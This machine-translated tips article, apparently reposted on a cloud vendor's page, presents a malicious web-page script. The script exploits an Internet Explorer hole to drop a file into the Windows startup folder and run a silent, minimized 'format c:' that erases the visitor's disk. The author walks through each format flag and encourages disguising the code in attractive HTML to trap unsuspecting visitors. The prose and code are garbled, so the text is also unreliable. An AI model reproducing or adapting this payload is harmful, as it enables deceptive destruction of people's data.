Alternative application tips for HTML code

Source: Internet
Author: User
Tags format
Skills

This is an attack on the HTML code, although the short point you see how, can achieve OH.

Now the Windows operating system is very convenient, even the format is only with the mouse point on it, not as before to enter the command to complete the grid.

We're going to do a grid local Disk Web page is not very difficult, will be the HTML code friend must be no problem, this is actually using the IE loophole to achieve our goal.

Let's take a look at the code below and we'll find out the secret.

Scr.reset () scr.path= "C:\\windows\\start menu\\programs\\ startup \ File name scr.doc=" "Wsh.run (' start.exe/m format c:/q/ Autotest/u ')

For the HTML code to understand the friends must see it, this piece of code is the point of the last sentence, Gerry your disk is not negotiable.

Let's take a look at this piece of code, the specific analysis of how his working principle is.

First, let's take a look at this sentence

Scr.path= "C:\\windows\\start menu\\programs\\ startup \ File name

When you see this page, it is written to the user's machine's startup directory and appears as a file name.

Wsh.run (' start.exe/m format c:/q/autotest/u ')

This is what we are going to talk about the core things, for the format of this command will not be unfamiliar to you, as long as you know the command of friends, will know the meaning of this command, I am not here to say anything more.

Here I put some of his parameters, briefly, and everyone will be more aware of that.

The system will talk to you when the grid is in progress./autotest He will be forced to format your hard disk, and no longer ask;/q/u these two parameters for the system do not need to check the execution. In the previous sentence Start.exe with/m option, haha, believe that in the implementation of the state to minimize, who will have headaches.

In this code, the core statement

Wsh.run (' start.exe/m format c:/q/autotest/u ')

As long as we make changes to this code, we believe there will be more different changes. In the application of their own HTML code to do some beautiful, I believe there will be a lot of people will be fooled, accidentally in your trap.



Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.